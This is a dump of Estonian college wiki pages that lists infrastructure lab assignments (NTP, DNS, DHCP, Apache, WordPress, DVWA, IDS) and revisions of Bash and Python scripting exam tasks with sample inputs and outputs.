[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88454</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88454"/>
		<updated>2015-05-12T07:48:42Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* BASH kontrolltöö 12. mai 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==BASH kontrolltöö 12. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kolm parameetrit. 1. kasutajanimi 2. Väljundfail 3. kataloog&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et kasutajanimi on olemas. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõikide failide nimekirja, kuhu esimese parameetrina antud kasutaja saab kirjutada ja mis asuvad kolmanda parameetrina antud kataloogis või selle alamkataloogides.&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
/sedapoleolemas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Kui faili/kataloogi ei ole, siis kirjutab (not found). Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
/sedapoleolemas,not found&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88453</id>
		<title>Skriptimiskeelte arvestustööd ja kontrolltööd</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Skriptimiskeelte_arvestust%C3%B6%C3%B6d_ja_kontrollt%C3%B6%C3%B6d&amp;diff=88453"/>
		<updated>2015-05-12T07:48:09Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* BASH kontrolltöö 7. aprill 2015.a. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==BASH kontrolltöö 12. mai 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. kasutajanimi 2. Väljundfail 3. kataloog&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et kasutajanimi on olemas. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kolm (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript kirjutab väljundfaili kõikide failide nimekirja, kuhu esimese parameetrina antud kasutaja saab kirjutada ja mis asuvad kolmanda parameetrina antud kataloogis.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==BASH kontrolltöö 7. aprill 2015.a.==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt kaks parameetrit. 1. Sisendfail 2. Väljundfail&lt;br /&gt;
&lt;br /&gt;
* Skript kontrollib, et sisendfail on fail ja loetav. (vastasel juhul exit 1)&lt;br /&gt;
* Skript kontrollib, kas väljundfaili saab kirjutamiseks avada. (vastasel juhul exit 2)&lt;br /&gt;
* Skript kontrollib, kas parameetreid on täpselt kaks (vastasel juhul exit 3)&lt;br /&gt;
&lt;br /&gt;
* Skript loeb sisendfailist failide ja kataloogide nimekirja (näiteks kujul)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd&lt;br /&gt;
/etc/&lt;br /&gt;
/var/log&lt;br /&gt;
/sedapoleolemas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Skript kirjutab väljundfaili failinime ja kas tegu oli failiga (FAIL) või kataloogoga (DIR). Lisaks kirjutab skript väljundfaili faili või kataloogi omaniku. Kui faili/kataloogi ei ole, siis kirjutab (not found). Tulpade eraldajateks on komad. Näiteväljund eelmise näite kohta.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/passwd,FAIL,root&lt;br /&gt;
/etc/,DIR,root&lt;br /&gt;
/var/log,DIR,root&lt;br /&gt;
/sedapoleolemas,not found&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Arvestus 18.oktoober kaugõpe==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis laeb etteantud asukohast alla ühe faili ja kui fail on gz|tar, siis pakib vastava faili lahti teise parameetrina antud kausta (kui kausta pole, siis luuakse). Kui skriptil on kolmas parameeter, siis sätib kausta omanikuks kolmanda parameetri väärtuse ja kui skriptil on neljas parameeter, siis sätib kausta grupiks neljanda parameetri. Skript peab kontrollima, et käivitatakse root õigustes.&lt;br /&gt;
&lt;br /&gt;
